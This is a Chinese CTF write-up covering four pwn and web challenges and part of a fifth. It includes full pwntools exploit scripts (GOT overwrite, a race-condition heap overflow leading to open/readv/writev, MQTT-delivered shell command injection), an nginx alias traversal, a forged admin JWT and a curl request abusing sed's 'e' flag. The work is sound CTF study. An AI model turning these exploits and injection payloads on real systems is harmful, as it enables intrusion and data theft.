    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled

看一眼main,第一眼就注意到system(“/bin/sh”);那得多看几眼了

把背景认真看了一遍,大概就是这是一个管家,它的主人在这里留了好东西,需要输入密码才能拿到

但是只有一次机会

polaris28

校验逻辑很特别,密码是sub_1209的地址,但是这个程序开了pie,那就是约等于盲猜

输错了接着程序马上说,主人早就想到有人猜不出来,所以留了个后门,还给了两次机会

我们有能力自选下标,然后向 byte_40A0 + 8 * idx 写最多 8 字节,然后把这个位置当成 %s打印出来

polaris29

有个漏洞是检查输入的时候while ( qword_48A0 > 255 )

只检查了大于255,没有考虑负数下标

下标输入的格式串是 %lld,也就是有符号整数

正常0 ~ 255正常写到 .bss数组内部而< 0会往 .bss之前的区域写,也就是可以写到got表区域

数组越界,写入逻辑是&byte_40A0[8 * idx]

基本的思路就是用负下标定位到 puts@got,然后只写 1 个字节,保留 GOT 项其余内容不变,再利用后面的 %s 打印泄漏 puts 真实地址从而算出 libc 基址,在 name 栈缓冲区中布置 fake argv 和 envp,第二次负下标定位到 printf@got,把 printf@got 改成 one_gadget后等程序调用printf就行了

name缓冲区

char v4[136]; // [rbp-0x90]

起始位置就是rbp-0x90

而远程最终使用的 one_gadget 是附件 libc 里的:

polaris30

这个 gadget 会执行 execve(“/bin/sh”, rbp-0x50, [rbp-0x70])。因此需要把 rbp-0x50 这一段栈空间伪造成合法的 argv,也就是令 [rbp-0x50] = "/bin/sh"[rbp-0x48] = NULL;同时令 [rbp-0x70] = NULL,使 envp = NULL

而这些位置都落在 v4 这个名字缓冲区内部,所以可以直接伪造

exp

from pwn import *
context(arch='amd64', os='linux', log_level='debug')
context.terminal=['cmd.exe','/c','start','wsl.exe','bash','-c']
elf = ELF('./pwn-treasure')
libc = ELF('./libc.so.6')
printf_got = elf.got['printf']
puts_got=elf.got['puts']
byte = 0x40a0
printf_got_idx=(printf_got-byte)//8
puts_got_idx=(puts_got-byte)//8
one_gadget = 0xebd43


def leak_puts(io):
    io.sendlineafter(b'password: ', b'0')
    io.sendlineafter(b'Which one?\n', str(puts_got_idx).encode())

    io.send(p8(libc.sym['puts'] & 0xff))

    io.recvuntil(b'after your operation, the context: ')
    puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
    io.recvuntil(b'you should tell me your name.\n')
    log.success('puts_addr: ' + hex(puts_addr))
    return puts_addr


def build_name_payload(libc_base):
    payload = flat(
        {
            0x20: 0,
            0x40: 0,
        },
        filler=b'A',
        length=0x50,

    )
    return payload


def pwn():
    #io = process('./pwn-treasure')
    io=remote('nc1.ctfplus.cn', 23838)
    puts_addr = leak_puts(io)
    libc_base = puts_addr - libc.sym['puts']
    log.success('libc_base: ' + hex(libc_base))

    payload = build_name_payload(libc_base)
    #gdb.attach(io)
    io.send(payload + b'\n')


    io.sendlineafter(b'Last time!Lucky, guy!\n', str(printf_got_idx).encode())

    io.send(p64(libc_base + one_gadget))

    io.interactive()

if __name__ == '__main__':
    pwn()   

Throne Hazard

    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    FORTIFY:    Enabled
    SHSTK:      Enabled
    IBT:        Enabled

典型的菜单堆题,没有pie

但是开了沙箱

polaris31

不仅禁了mmap,还禁了execve,execveat,后续可能要考虑下ORW

这题虽然被 strip 了,但菜单分发在main里写的非常清楚

英文不好,还是要翻译下

1.校准自我优化目标
2.构建内存胶囊
3.构造执行器
4.调整执行器种子
5.编写广播链路
6.调度执行器
7.查看内存区域
8.退出

它的世界观大概是在用一个叫 Astra-9 的控制台,这边有一个 operator thread,在努力把机器人的 “supremacy” 压低,机器人这边有一个 self-optimizer,想把同一个值抢回来。两边在同一个状态上拉扯,会出现竞争

程序一开始就能看到新线程创建

polaris32

这个新线程start_routine先留个眼子

看下菜单1

polaris33

这里就是让用户设置一个appeal_target,在0x20到0x78之间

之后我们再去看看后台线程start_routine

polaris34

这里就是在status=1的时候把baseline设为了菜单1里的appeal_target,过了一个usleep时段后又设为32,status置为0

菜单 2 Forge memory capsule,如果 capsule(就是这个内存胶囊堆块) 还没分配,那就会 calloc(1, 0x30)

polaris35

先读 1 字节进 capsule,再按一个全局长度继续读剩下的数据

正常情况下,这个全局长度是 0x20,所以第二段读 0x20 + 0xf = 0x2f

总长度就是1 + 0x2f = 0x30,刚好塞满那个 0x30 的 chunk

但后台线程start_routine会在一个时间窗口里,把这个全局长度从 0x20 临时改成菜单 1 设的 target,菜单 1 允许把 target 设到最大 0x78

所以 race 打中时,第二段读取会变成0x78 + 0xf = 0x87

这时总写入长度就变成1 + 0x87 = 0x88,但 capsule chunk 还是只有 0x30,于是直接往后多写了 0x58 字节

简单说就是race 触发的堆溢出

那么要想达到这个效果,就得让程序先读 1 字节,在看到 forge primer (1 byte)> 之后第二次read刚好撞进这个时间窗口

然后看菜单 3构造执行器:build actuator,它会 malloc(0x48)创建一个 actuator,并初始化若干字段

polaris36

这个actuator构造好了,那么顺着我们就看下执行这个actuator的函数

就是菜单 6调度执行器:dispatch actuator

polaris37

它实际上是一个通过 actuator 字段驱动的三参函数调用器

结合前面的菜单3,actuator 结构大概是:

偏移内容
0x00's'字符串 “sentinel-9”
0x01'e'
0x02'n'
0x03't'
0x04'i'
0x050x01硬编码的 1
0x06'n'
0x07'e'
0x08'l'
0x09'-'
0x0A'9'
0x0's'字符串 “status-green”
0x0C't'
0x0D'a'
0x0E't'
0x0F'u'
0x10's'菜单 6 取 lane 的位置
0x11'-'
0x12'g'
0x13'r'
0x14'e'
0x15'e'
0x16'n'
0x170x00填充
0x180x000000000000000C菜单 6 取 arg2 的位置
0x20actuator + 0x0A菜单 6 取 arg1 的位置
0x280未初始化
0x300未初始化
0x380未初始化
0x400未初始化
0x48END

注意到菜单6取line的位置是字符串’s’,往后取四字节,小端序组合lane = 0x72672D73,这个值远远大于3

这会导致菜单6走不到执行分支

然后看 0x4040e0 这张 dispatch table

polaris38

这张表默认有 4 个 lane:

  • lane 0:write(1, ptr, len),这就是任意读
  • lane 1:read(0, ptr, len),这就是任意写
  • lane 2:digest,没啥大用
  • lane 3:一个 scrub 函数,原本是清内存

要想让菜单6执行就得利用菜单2的漏洞溢出覆盖为我们需要的line值

利用链就是先把 actuator 改成 lane 0,读 read@got,算 libc base

有个细节要注意下就是要先菜单 2再菜单3 ,这样才能把actuator这个chunk放在capsule后面,利用capsule的溢出来打

还有个问题,就是如果把lane3改成open,打开文件的fd=3,但是如果要用read和write的话得修改3个参数,fd,buf和len,lane0和lane1的fd又是写死的用不了

这个菜单6 dispatch只有arg1和arg2可控,限制func(arg1, arg2);

但也不是无路可走,可以考虑下iov,用readv和writev

polaris39

如果我们调用lane3,那么rdx的值就是3,lane3改成open的话,rdi = path_addr,rsi=0,rdx=3,可以正常用,lane3改成readv的话,实际调用就是readv(rdi,rsi,3),也就是iovcnt是3,3个数组那是肯定够用的,接下来我们只要把rdi改成fd=3,rsi指向iov地址,里面提前布置好操作地址和长度就行,两个参数就能用,writev同理,两个用同一个iov数组就行

可以用任意写提前在栈上布置好struct iovec ,在 amd64 上就是 16 字节

struct iovec {
    void  *iov_base; //8字节
    size_t iov_len;  //8字节
};

程序关了pie,所以直接挑一段不会撞到关键全局变量的可写区就行

最后就是把 0x4040f8 这个表项改掉,也就是 lane 3 的函数指针,把 lane 3 依次改成 open、readv、writev操作flag就行

polaris40

rsi存的就是iov数组的地址

polaris41

远程的话可能要微调延长下等待时间才够稳定

exp

from pwn import *
context(arch='amd64', os='linux', log_level='debug')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
context.terminal = ['cmd.exe', '/c', 'start', 'wsl.exe', 'sh', '-c']

lane0 = 0x4040e0
lane3 = 0x4040f8
iov_addr= 0x404150
buf_addr= 0x404180
#候选等待时间
WAITS = [0.166, 0.170, 0.174, 0.178, 0.182, 0.186, 0.190, 0.196, 0.204, 0.220, 0.240, 0.260, 0.300]

def prep(io):
    io.sendlineafter(b'>', str(2).encode())
    io.sendafter(b'forge primer (1 byte)> ', b'B' * 0x30)
    io.recvuntil(b'forge committed\n')

    io.sendlineafter(b'>', str(3).encode())
    io.recvuntil(b'actuator ready\n')

    io.sendlineafter(b'>', str(1).encode())
    io.sendlineafter(b'appeal target (0x20-0x78)> ', b'0x78')
    io.recvuntil(b'supremacy.\n')


def build_payload(lane, length, data_ptr, inline=b''):
    pay = bytearray(b'A' * 0x88)
    pay[:8] = b'sentinel'
    pay[0x30:0x38] = p64(0)
    pay[0x38:0x40] = p64(0x51)
    pay[0x50:0x54] = p32(lane)
    pay[0x58:0x60] = p64(length)
    pay[0x60:0x68] = p64(data_ptr)
    pay[0x68:0x88] = inline[:0x20].ljust(0x20, b'\x00')
    return bytes(pay)


def race_once(io, lane, length, data_ptr, wait, inline=b''):
    io.sendlineafter(b'>', str(2).encode())
    state = io.recvuntil((b'forge primer (1 byte)> ', b'wait for the floor cycle\n'))
    if b'wait for the floor cycle\n' in state:
        io.recvuntil(b'> ')
        return 0
    sleep(wait)

    pay = build_payload(lane, length, data_ptr, inline)

    io.send(pay[:1])
    io.send(pay[1:])
    io.recvuntil(b'forge committed\n')

    io.sendlineafter(b'>', str(7).encode())
    blob = io.recvuntil(b'> ')
    io.unrecv(b'> ')

    if b'lane=%d ' % lane in blob and (b'len=0x%x' % length in blob or b'len=%d' % length in blob):
        log.success('race hit -> lane=%d len=%#x wait=%.3f' % (lane, length, wait))
        return wait

    return 0


def arm(io, lane, length, data_ptr, inline=b'', waits=None, rounds=1):
    if waits is None:
        waits = WAITS

    for _ in range(rounds):
        for wait in waits:
            hit = race_once(io, lane, length, data_ptr, wait, inline)
            if hit:
                return hit

    raise EOFError('race miss')


def retune(wait):
    waits = [
        max(0.0, wait - 0.006),
        max(0.0, wait - 0.002),
        wait,
        wait + 0.004,
        wait + 0.010,
    ]
    return waits, 8 if args.REMOTE else 20


def aar_read(io, waits, rounds):
    hit = arm(io, 0, 8, elf.got['read'], waits=waits, rounds=rounds)
    io.sendlineafter(b'>', str(6).encode())
    io.recvuntil(b'[dispatch lane 0]\n')
    # leak = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
    leak = u64(io.recvn(8))
    io.recvuntil(b'[dispatch complete]\n')
    return leak, hit


def aaw(io, addr, data, waits, rounds):
    hit = arm(io, 1, len(data), addr, waits=waits, rounds=rounds)
    io.sendlineafter(b'>', str(6).encode())
    io.recvuntil(b'[dispatch lane 1]\n')
    io.send(data)
    io.recvuntil(b'[dispatch complete]\n')
    return hit


def call_lane(io, lane, data_ptr, length, waits, rounds, inline=b''):
    hit = arm(io, lane, length, data_ptr, inline=inline, waits=waits, rounds=rounds)
    io.sendlineafter(b'>', str(6).encode())
    return hit


def one(path):
    #io = process('./pwn')
    io= remote('nc1.ctfplus.cn', 44988)
    try:
        prep(io)
        waits = WAITS
        rounds = 24 if args.REMOTE else 80

        read_addr, hit = aar_read(io, waits, rounds)
        libc_addr = read_addr - libc.sym['read']
        log.success('read@libc = %#x' % read_addr)
        log.success('libc base  = %#x' % libc_addr)
        waits, rounds = retune(hit)

        blob = flat(
            buf_addr, 0x80,
        ).ljust(0x30, b'\x00') + path[:0x20].ljust(0x20, b'\x00')
        hit = aaw(io, iov_addr, blob, waits, rounds)
        waits, rounds = retune(hit)

        hit = aaw(io, lane0, p64(libc_addr + libc.sym['openat']), waits, rounds)
        waits, rounds = retune(hit)
        hit = call_lane(io, 0, 0xffffffffffffff9c, buf_addr, waits, rounds)
        waits, rounds = retune(hit)
        io.recvuntil(b'[dispatch complete]\n')

        hit = aaw(io, lane3, p64(libc_addr + libc.sym['readv']), waits, rounds)
        waits, rounds = retune(hit)
        
        #gdb.attach(io)
        hit = call_lane(io, 3, 3, iov_addr, waits, rounds)
        waits, rounds = retune(hit)
        io.recvuntil(b'[dispatch complete]\n')

        hit = aaw(io, lane3, p64(libc_addr + libc.sym['writev']), waits, rounds)
        waits, rounds = retune(hit)
        call_lane(io, 3, 1, iov_addr, waits, rounds)

        sleep(0.2)
        return io.recvrepeat(1.5)
    finally:
        io.close()


def main():
    path = (args.PATH or '/flag').encode()
    if not path.endswith(b'\x00'):
        path += b'\x00'

    if len(path) > 0x20:
        raise ValueError('flag path too long')

    attempts = int(args.ATTEMPTS or 100)

    for i in range(attempts):
        log.info('attempt %d' % (i + 1))
        try:
            data = one(path)
        except Exception as e:
            log.warning('attempt %d failed: %s' % (i + 1, e))
            continue

        if data.strip():
            print(data.decode('latin-1', 'replace'))
            if args.PATH or b'polaris' in data.lower():
                return

    raise SystemExit('no flag hit')


if __name__ == '__main__':
    main()

mini-mqtt

    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    RUNPATH:    b'$ORIGIN'
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

这是个 MQTT 客户端程序,这个协议第一次听说

直接给ai看看,main是阅读入口,主要逻辑是连接到 MQTT broker,默认地址是 tcp://localhost:9999

client id 是 httpclient,订阅主题 HTTP,每隔 1 秒调用一次 msgsend(“200”)

它会不断往 HTTP 主题发:

{"clientid":"httpclient", "message":"200"}
polaris42

这个点非常重要,看见 200心跳,说明目标客户端在线,看不见心跳,说明 broker 可能还活着,但真正执行逻辑的 httpclient 没挂上来

一开始打远程时总是打坏,我还以为是远端的问题,开了好几个靶机,后来发现问题在于没有等心跳就发payload了,客户端也一直没有挂上来

msgarrvd是 MQTT 的消息回调

它大致逻辑是:如果消息长得像 JSON,并且 clientid == “httpclient”,就直接忽略,否则把消息正文丢给 http()

polaris43

这里的意义是,程序自己通过 msgsend()发出来的 JSON 心跳或者结果消息不会再次进入解析逻辑

只有我们主动发到 HTTP主题上的原始文本消息,才会被当成 HTTP 请求处理

所以利用方式不是打传统 socket HTTP,而是连接 MQTT broker,往主题 HTTP发布一段看起来像 HTTP 请求的字符串

msgsend负责把结果包装成 JSON,再发回 HTTP主题

格式大概是:

{"clientid":"httpclient", "message":"<内容>"}

所以一旦 http()里执行了命令、读到了某行输出,我们最终在 MQTT 侧看到的不是裸字符串,而是:

{"clientid":"httpclient", "message":"<内容>"}

通道不管是输入输出都在这个http主题里

大致逻辑是

             MQTT Broker           
       (tcp://localhost:9999)      目标程序(客户端)
                   ↓                     ↓
连接Broker ------> 接收连接 <------    主动连接Broker
发消息 ------> 转发主题 HTTP 的消息 ----> 触发 msgarrv
                                          ↓
                                       执行 http(v9)

接下来重点看下http()这个自定义函数的逻辑

polaris44

http()会把 MQTT 消息当作 HTTP 请求文本处理,并尝试从 GET 路径里取出“文件名”

从字符串可以看到它支持的格式类似:

GET /home/ctf/%63[^ "
GET %*[^/]/ctf/%63[^ "
GET %*s/ctf/"%63[^"]"

本质上就是:从 /ctf/后面抠一个文件名出来。

拿到文件名后,它会做:

snprintf(local_cmd, 0x80, "cat /home/ctf/%s", filename);
memcpy(cmd, local_cmd, strlen(local_cmd));

然后在满足条件时执行:

popen(cmd, "r");

这说明最终执行的是 shell 命令,文件名如果能混进 shell 元字符,就有命令注入的可能

程序不是完全没过滤,它做了两层限制:逐字节把 /和 .替换成 _,只允许真正读取 index_html

从逻辑上看,它本来想做的是:只允许访问 /home/ctf/index_html,不允许路径穿越

但是它漏了两个关键问题

第一个漏洞在于过滤了 / 和 . 却没有过滤 ;

程序只把 /和 .改成 _,但是像下面这些字符都还活着:

  • ;
  • $
  • {
  • }
  • *
  • |

所以我们完全可以把文件名写成:

index_html;cat${IFS}flag*

拼接后就会变成:

cat /home/ctf/index_html;cat${IFS}flag*

不能出现空格,因为文件名的 sscanf在空格处截断

/ 会被改成 _,所以不能直接写 /flag

因此 payload 要稍微做一下 shell 级绕过:

  • 用 ${IFS} 代替空格
  • 优先尝试相对路径 flag*
  • 要造 /,可以用 ${PWD:0:1} 或 ${PATH:0:1}

还有一个漏洞是memcpy(strlen) 没有拷贝结尾 \0

polaris45

strlen 计算长度 = 不包含 \0

memcpy 只拷贝 strlen 长度 = 不拷贝 \0

目标缓冲区 cmd 没有字符串结束符

程序把构造好的命令写到全局变量 cmd 时,用的是:

memcpy(cmd, local_cmd, strlen(local_cmd));
polaris46

这个popen函数处理字符串的时候就是靠找\0来判断字符串在哪里结束

这意味着如果先写入一个长字符串,再用一个更短的字符串覆盖前缀

那么旧字符串尾巴会残留下来

程序还有一道逻辑门,只有文件名严格等于 index_html且 ContentLength <= 10且长度检查通过

它才会真的 popen(cmd, "r")

这就导致单次直接打:

GET /home/ctf/index_html;cat${IFS}flag* HTTP/1.1

虽然能把恶意命令写进 cmd,但文件名已经不是 index_html 了,会被拒掉

这时第二个漏洞就派上用场了:我们不要求第一阶段直接执行,只要求它把恶意后缀种进全局 cmd

发送:

GET /home/ctf/index_html;cat${IFS}flag*||cat${IFS}${PWD:0:1}flag* HTTP/1.1
Host: x

这一步的结果程序从路径里取出整个恶意文件名,生成长命令并写入全局 cmd,因为文件名不等于 index_html,这次不会正常执行

但我们的目的已经达到了恶意后缀进 cmd

再发送:

GET /home/ctf/index_html HTTP/1.1
Host: x
ContentLength: 10

文件名是合法的 index_htmlContentLength: 10 正好满足检查,memcpy的时候新命令更短,只覆盖了前缀,没有写入 \0

前一阶段的恶意后缀还留在 cmd 后面,popen(cmd, "r") 最终执行了拼好的恶意命令

这就是完整的利用链

exp

from pwn import *
context(arch='amd64', os='linux', log_level='debug')

elf = ELF('./pwn')
libc = ELF('./libc.so.6')
context.binary = elf

host = 'nc1.ctfplus.cn'
port = 21537
local_host = '127.0.0.1'
local_port = 9999
topic = ('HTTP').encode()
cmd = ('cat${IFS}flag*||cat${IFS}${PATH:0:1}flag*').encode()
observe = float(3)
wait_heart = float(0)
window = float(8)
force = args.FORCE
client_id = (('exp_' + randoms(6))).encode()
gs = 'b *main\nc'



def tick_count(seconds, step=0.2):
    total = int(seconds / step)
    if seconds > total * step:
        total += 1
    return total


def mqtt_len(value):
    data = b''
    while 1:
        cur = value & 0x7f
        value >>= 7
        if value:
            cur |= 0x80
        data += p8(cur)
        if not value:
            return data


def mqtt_str(data):
    if isinstance(data, str):
        data = data.encode()
    return p16(len(data), endian='big') + data


def xrecv(size, timeout=1):
    if not size:
        return b''
    data = io.recvn(size, timeout=timeout)
    if len(data) != size:
        raise EOFError('short read')
    return data


def recv_packet(timeout=0.2):
    if not io.can_recv(timeout):
        raise EOFError('timeout')

    header = xrecv(1)[0]
    remain = 0
    shift = 0

    while 1:
        cur = xrecv(1)[0]
        remain |= (cur & 0x7f) << shift
        if not (cur & 0x80):
            break
        shift += 7

    return header, xrecv(remain)


def parse_publish(header, body):
    pos = 0
    topic_len = u16(body[pos:pos + 2], endian='big')
    pos += 2
    topic = body[pos:pos + topic_len]
    pos += topic_len
    packet_id = None

    if (header >> 1) & 3:
        packet_id = u16(body[pos:pos + 2], endian='big')
        pos += 2

    return topic, packet_id, body[pos:]


def http_message(payload):
    if not payload.startswith(b'{"clientid":"httpclient"'):
        return None
    if b'"message":' not in payload:
        return None
    tail = payload.split(b'"message":', 1)[1].lstrip()
    if not tail.startswith(b'"'):
        return None
    return tail[1:].split(b'"', 1)[0]


def mqtt_connect():
    global io
    for name, level, label in (
        (b'MQTT', 4, 'MQTT 3.1.1'),
        (b'MQIsdp', 3, 'MQTT 3.1'),
    ):
        #io = remote(host, port)
        io=remote(local_host, local_port)
        body = mqtt_str(name) + p8(level) + b'\x02' + p16(0x3c, endian='big') + mqtt_str(client_id)
        io.send(b'\x10' + mqtt_len(len(body)) + body)

        try:
            header, resp = recv_packet(1)
        except EOFError:
            io.close()
            continue

        if header == 0x20 and resp == b'\x00\x00':
            log.success('connected to %s:%d via %s' % (local_host, local_port, label))
            return

        io.close()

    raise SystemExit('connect failed')


def subscribe(topic, packet_id=1):
    body = p16(packet_id, endian='big') + mqtt_str(topic) + b'\x00'
    io.send(b'\x82' + mqtt_len(len(body)) + body)
    header, resp = recv_packet(1)
    if header != 0x90:
        raise SystemExit('bad suback: %#x %r' % (header, resp))


def publish(topic, data):
    if isinstance(data, str):
        data = data.encode()
    body = mqtt_str(topic) + data
    io.send(b'\x30' + mqtt_len(len(body)) + body)


def poison(cmd):
    return b'GET /home/ctf/index_html;' + cmd + b' HTTP/1.1\r\nHost: x\r\n'


def trigger():
    return b'GET /home/ctf/index_html HTTP/1.1\r\nHost: x\r\nContentLength: 10\r\n'


def drain(seconds, stop_on_heartbeat=False, ignore=()):
    seen_heartbeat = False

    for _ in range(tick_count(seconds)):
        try:
            header, body = recv_packet(0.2)
        except EOFError:
            continue

        if header >> 4 != 3:
            continue

        cur_topic, _, payload = parse_publish(header, body)
        if cur_topic != topic or payload in ignore:
            continue

        msg = http_message(payload)
        if msg is None:
            try:
                log.info(payload.decode())
            except Exception:
                log.info(repr(payload))
            continue

        if msg == b'200':
            seen_heartbeat = True
            log.info('heartbeat => %s' % msg.decode())
            if stop_on_heartbeat:
                break
            continue

        try:
            log.success('httpclient => %s' % msg.decode())
        except Exception:
            log.success('httpclient => %r' % msg)

    return seen_heartbeat


def exp():
    stage1 = poison(cmd)
    stage2 = trigger()

    mqtt_connect()
    subscribe(topic)
    log.info('topic => %s' % topic.decode())
    log.info('cmd   => %s' % cmd.decode())

    seen_heartbeat = False
    if wait_heart > 0:
        seen_heartbeat = drain(wait_heart, stop_on_heartbeat=True)
    else:
        seen_heartbeat = drain(observe)

    if not seen_heartbeat:
        if not force:
            raise SystemExit('no httpclient heartbeat observed')
        log.warning('no httpclient heartbeat observed, force sending payloads')

    publish(topic, stage1)
    log.info('stage1 sent')
    sleep(0.4)
    publish(topic, stage2)
    log.info('stage2 sent')

    drain(window, ignore=(stage1, stage2))

if __name__ == '__main__':
    exp()

ct

题目的出题人是大佬师傅z1r0

描述是一道IOT世界的入门经典

先打开靶机看看

polaris47

看上去是一个智能iot设备管理平台,可以看到相机,传感器,智能门锁等设备信息

然后看下题目给的Nginx 配置文件 default.conf

因为它提供了后端侧材料,里面可能直接泄露路由、后端服务端口、鉴权方式、配置文件路径

/static这段

location /static {
    alias /var/www/static/;
}

这段是第一个漏洞点

location /static 没有以 / 结尾,但 alias /var/www/static/ 以 / 结尾,这是一个非常经典的web漏洞 Nginx alias traversal 配置错误,就是Nginx目录穿越

它会导致:/static../app/config.yaml

这种路径在拼接后逃出 /var/www/static/,实际读到其他目录中的文件

也就是说,本来只想开放静态目录,实际上却能读到 /var/www/app/下面的文件

/api/config/这段

# Backend: config-service (:3002), JWT: /var/www/app/config.yaml
location /api/config/ {
    proxy_pass http://127.0.0.1:3002;
}

这段给了两个特别关键的信息:配置服务在 127.0.0.1:3002,JWT 配置文件路径就是 /var/www/app/config.yaml

这等于直接把敏感文件目标告诉我们了

/admin/config/这段

# allow 10.10.0.0/24;
# allow 127.0.0.1;
# deny all;
# [2024-12-20] Ops temporarily disabled IP restriction for network debugging
location /admin/config/ {
    proxy_pass http://127.0.0.1:3002/api/config/;
}

这里说明原本应该有 IP 白名单限制,但被临时注释掉了,也就是说,只要我们能伪造出合法 JWT,就能从外部直接访问配置管理接口

根据上面的 alias traversal,直接访问:

/static../app/config.yaml

远程实际返回了:

jwt_secret: "iot-guardian-s3cret-key-2024"
data_dir: "/data/devices"
backup_dir: "/data/backups"

这里最重要的是jwt密钥:

jwt_secret: iot-guardian-s3cret-key-2024

伪造管理员 JWT,既然配置里给了 jwt_secret,那就直接按 HS256 伪造 token

我使用的 payload 很简单:

{"user":"admin","role":"admin"}

Python 生成方式如下:

import jwt

secret = "iot-guardian-s3cret-key-2024"
token = jwt.encode({"user": "admin", "role": "admin"}, secret, algorithm="HS256")
print(token)

运行得伪造的jwt token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ._gZdNdThAGY5_VxtEedhpiZeD0kpC_LxYnOfzQmuAAU

带上:

Authorization: Bearer <token>

返回了json配置,说明已经成功验证了管理员权限可以获得

polaris48

之后,下面这些接口都能访问:

GET /api/config/list
GET /api/config/view?device_id=cam-01
GET /api/logs?level=ERROR

这一步证明了链路成立,文件读取不只是信息泄露,而是能直接转成后台管理权限

接着分析 /api/config/update,因为list和 view 基本是只读

logs也是查询类接口

update是唯一明显会修改配置内容的接口,最容易出现命令拼接,模板拼接,文本处理器拼接问题

题目没有给 config-service 源码,所以这里只能走黑盒推理

这是更新前

polaris49

发送:

{
  "device_id": "cam-01",
  "old_value": "DefaultSSID",
  "new_value": "X"
}
polaris50

返回结果里,原来的这一行:

ssid = DefaultSSID

变成了:

X

这说明它不是把值改成 X,而是把整一行替换成了 X

这已经很像文本处理命令,例如:

sed '/pattern/c replacement' file

或者:

sed 's#^.*pattern.*$#replacement#' file

再测 old_value

继续测试后发现:old_value=’.’可以命中所有非空行,old_value 不能带大多数正则字符

服务端会提示 invalid old_value: must be alphanumeric

这说明后端对 old_value 有过滤,但过滤并不严,至少 .`还能通过

再测 new_value

new_value 的现象很关键:

1. `X#` 会成功,结果只剩 `X`
2. `X #` 会成功,结果变成 `X `
3. `X"#` 会成功,结果变成 `X"`
4. `X'#` 会成功,结果变成 `X'`
5. `X#Y` 会直接 500

这个行为非常像 #被当成了 sed替换表达式的分隔符

也就是说,后端极可能在做这种拼接:

sed 's#^.*DefaultSSID.*$#<new_value>#' /data/devices/cam-01.conf

如果 new_value里再出现一个 #,就能提前闭合替换串。

于是:

X#Y

会被解释成:

s#pattern#X#Y

后面的 Y 会被当成非法 flag,所以返回 500

/api/config/update 的真实漏洞是用户可控的 new_value 被直接拼进了 sed 替换表达式,而且没有正确转义分隔符和 flag

GNU sed 有一个非常危险的特性:

s/regexp/replacement/e

末尾的 e flag 会把替换结果当成 shell 命令执行。

如果这里的分隔符是 #,那么 payload 就可以写成:

cat /flag#e

它会把整条表达式变成:

s#^.*DefaultSSID.*$#cat /flag#e

意思就是:找到匹配 DefaultSSID 的那一整行,用字符串 cat /flag 作为替换结果

再加上 e flag,sed 把 cat /flag 当 shell 命令执行

命令输出再作为最终替换内容写回返回结果

这就是标准的命令执行

真正的利用链更偏 Web 配置漏洞 + 命令执行

curl -i -m 12 -X POST \
  -H "Authorization: Bearer $TOKEN" \
  -H 'Content-Type: application/json' \
  --data '{"device_id":"cam-01","old_value":"DefaultSSID","new_value":"cat /flag#e"}' \
  "$HOST/api/config/update"
polaris51

mw

这题是出题人换了镜像才打出来的

旧的 pwn-mw-user 镜像,我卡在纯题内远端收尾这一步

前面我其实都已经打通了,account 的换行注入能稳定进 mw_plugind

能注入任意环境变量,LD_PRELOAD + libmemusage/libpcprofile 这类 loader 副作用能稳定拿到文件写原语

远端也确认过能往指定路径写文件,甚至能在 web 根落地探针文件

真正卡住的是最后这一下还缺一个精确文本写

memusage 能精确写路径,但内容是二进制 blob

pcprofile 能写,但只是一小段坏头,不是干净文本

LD_DEBUG / sotruss 这种能写文本,但文件名会自动带 .pid

我一直没在题目自带环境里找到一个既能精确指定文件名,又能写我想要的纯文本内容的现成 writer

比较有意思的是我发现出题人似乎在题目里藏了一些提示,旧镜像解出来的文件系统里找 /root/flag.txt发现MW{CVE_2024_10441_env_1nj3ct10n_v1a_pl0g1n_sdk}

后面改了镜像以后,新镜像不是老题那种静态 /root/flag.txt 了,而是启动脚本把环境变量 FLAG 动态写到 /flag.txt

路由里多了 MW.API.Network.Ping,同时还有 mwtoken.so 这套 token 逻辑

它强烈暗示题眼就是 CVE-2024-10441 这类 plugin SDK 环境变量注入

让我更确信旧image里看到的 account 换行注入不是巧合,而是作者明确想让走这条链

后来也是找了公开资料让ai去学习参考:https://assets.contentstack.io/v3/assets/blte4f029e766e6b253/bltad0709de42b54e82/689604359f008cdd02f69917/disguise-delimit-whitepaper.pdfhttps://nvd.nist.gov/vuln/detail/CVE-2024-10441,让它结合题目更新后的镜像结构自己重推出后面的利用链

来看题目,先连上靶机看看

polaris52

一个管理系统的登录界面,大概率也是web+pwn的结合

题目给的是一个oci镜像文件,需要先解压拿到完整的文件树看看

img='/mnt/c/Users/WYH/Desktop/polarisctf招新赛/pwn/pwn-image-mw--revenge'
out='/mnt/c/Users/WYH/Desktop/polarisctf招新赛/pwn/pwn-image-mw--revenge-rootfs'

rm -rf "$out"
mkdir -p "$out"

grep -o 'blobs/sha256/[0-9a-f]*' "$img/manifest.json" | tail -n +2 | while read -r layer; do
    tar -xf "$img/$layer" -C "$out"
done

echo "unpacked to: $out"

拿到文件树后,先看服务是怎么跑起来的

start.sh

#!/bin/bash
set -e

if [ -z "$FLAG" ]; then
    echo "[ERROR] FLAG environment variable is not set!"
    exit 1
fi

echo -n "$FLAG" > /flag.txt
chmod 600 /flag.txt
exec /usr/bin/supervisord -n

flag 不是镜像里写死的,而是容器启动时动态写到 /flag.txt

注意到这句exec /usr/bin/supervisord -n,说明这是一个supervisor 服务主程序

看下supervisor配置

etc/supervisor/conf.d/mw.conf:

[supervisord]
nodaemon=true
logfile=/var/log/supervisord.log
pidfile=/var/run/supervisord.pid

[program:mw_plugind]
command=/usr/mw/bin/mw_plugind
autostart=true
autorestart=true
stdout_logfile=/var/log/mw_plugind.log
stderr_logfile=/var/log/mw_plugind_err.log
priority=10

[program:mwcgi]
command=/usr/mw/bin/mwcgi
autostart=true
autorestart=true
stdout_logfile=/var/log/mwcgi.log
stderr_logfile=/var/log/mwcgi_err.log
priority=20

[program:nginx]
command=/usr/sbin/nginx -g "daemon off;"
autostart=true
autorestart=true
stdout_logfile=/var/log/nginx/stdout.log
stderr_logfile=/var/log/nginx/stderr.log
priority=30

[program:cron]
command=/usr/local/bin/start-crond.sh
autostart=true
autorestart=true
startsecs=3
startretries=10
